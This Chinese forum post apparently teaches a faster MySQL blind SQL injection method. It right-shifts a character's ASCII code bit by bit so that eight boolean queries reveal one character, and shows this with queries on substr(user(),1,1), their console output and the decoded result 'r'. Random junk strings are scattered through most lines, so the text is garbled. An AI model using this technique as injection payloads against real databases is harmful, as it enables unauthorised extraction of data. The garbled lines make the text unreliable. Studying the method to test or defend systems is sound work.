关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
, E4 {- B* u; k+ G9 W
: t. u6 O5 f. x2 n7 k

下面将以查询mysql数据库当中user()的第一位为例:
6 v; g2 e  i/ Z& y! ~, X


ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
' K$ m8 u8 S1 _) n- B
; s  p+ ]( s) ]: G: J6 }& G  k

首先执行如下sql语句:
) f9 e. g- a/ ^
' v1 Z$ i/ T& D) w8 R2 M+ ]
9 a" o! i( P4 r/ K
. p) S) a. {1 r- qmysql> select (ascii((substr(user(),1,1))) >> 7)=0;



我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的


+ [' D' A! m- W/ }6 k9 ~
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1



) s  b. q+ _! _如果运算结果为1,说明第一位为0,不为1


+ U; \7 O+ \) {2 A5 i
+————————————–+

| (ascii((substr(user(),1,1))) >> 7)=0 |

! O* x% C! R( W2 Z+————————————–+

| 1 |

. b  k) E; Y" ?6 ]9 u+————————————–+

% P, Q# V4 B' }4 E1 row in set (0.00 sec)

9 g1 F% C: f9 V4 L( S2 X- G这样我们就确定这个8bit的ascii的第一位为0


( Y* v% N8 \5 H! x) }
第二次我们来做6次右偏移来确定前两位

0 w$ j- l- ^9 w8 |! N0 a- R

前两位可能是01或00,即依然可以与0做比较,
2 }& [4 s' _1 Z7 ^! G% j+ F
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
: m+ H8 v) y9 N7 q3 Z- d- b
+————————————–+

| (ascii((substr(user(),1,1))) >> 6)=0 |
( V( d# C- _% z) `( G$ G
+————————————–+

6 J. m0 v1 {; y" K  h| 0 |
7 J1 ~2 O6 L- q  ]2 {& N
+ E3 Q% k' C* a+ l5 F5 \4 r+————————————–+
3 q; N# i6 Y, Y4 y3 u6 g/ T- u1 w
1 row in set (0.00 sec)

8 U4 y( d$ F0 g

结果为0,即第二位为1
/ V, m0 G" R( ]% c) O+ X; [( a# r( H
$ r/ h- p8 p& X5 ~+ Y, Y
0 \  i# ^' c+ ~( J; ?; o7 i
开始猜测前三位为010或011



让我们看看010和011的ascii码是多少
% A" b; g. }& j: n( O3 Q


分别查询select b’011′ select b’010′

+ o7 G7 W2 B/ n% I

8 W& @/ `; K5 S; U5 `# A" P0 C获得结果 010 = 2 011 = 3
# U1 |6 }" a: x. y" _

6 V  y( P$ p* c, B! g5 W
" d# r( j9 x6 u* F8 C执行如下sql:
1 b( @3 C! ~3 {# w3 t( F" L. h1 T


mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

; u% _: z+ d! j  f5 f) k; c' D* r+————————————–+
; o6 N! W6 P+ n
1 X: t, l+ w1 U  X| (ascii((substr(user(),1,1))) >> 5)=2 |

7 C; u* o0 K+ Y6 B- e  I+————————————–+
6 C+ T# i* {& L  |5 M" A
- [6 F2 i5 P, D# n| 0 |
; v* `' h/ I$ ~% F, f9 Y' M+ I
4 w: x4 c" }2 X  [, L& \+————————————–+
. Y) s, w/ ~4 }& `
9 L+ C& o- X% Z' V- f: Y2 [即前三位不为010,而是011
  h# s& z! n0 B0 A- w


直到获得最后一位
; O$ J4 ^, y: n9 G$ u! z+ I5 `1 R
7 u, {) Z3 p  w
2 |" V- M2 o$ f2 q. c. G
) _) w8 {1 k$ g3 {2 a' }/ P# ~最终结果为:01110010

, G; @2 ?7 }4 b# |
2 K0 C  A; B! _/ X0 ]2 [- o6 j
转换一下:


; {/ a; z7 S' J; O/ u  a
7 [- I  C" M. Z+ uselect b’01110010′
8 j  e+ ]& r( G; _, g3 Z
. V+ @, h+ a- W4 w" }6 A

3 h- W$ |% B/ G+ C2 M' e查询结果
0 Q$ v& s3 l2 n


4 D3 ?: P- ~# m7 V" [: n+————-+

3 D, n1 h! y- Y| b’01110010′ |
/ D2 V; f& x" t+ c& R. m
( y+ E( k. Q' ]8 Y) Z, g+————-+

| r |
0 s2 Z7 Z  H8 W- S% @
+————-+

* B! G& Y* z* O  R7 q( z1 row in set (0.00 sec)


+ w* n' G4 F+ W6 |- a9 g' J
/ w  A3 J+ V2 ^$ ^这样我们就获得了user()的第一位.其它位依此类推
  D5 p# k6 f5 w: c' a/ w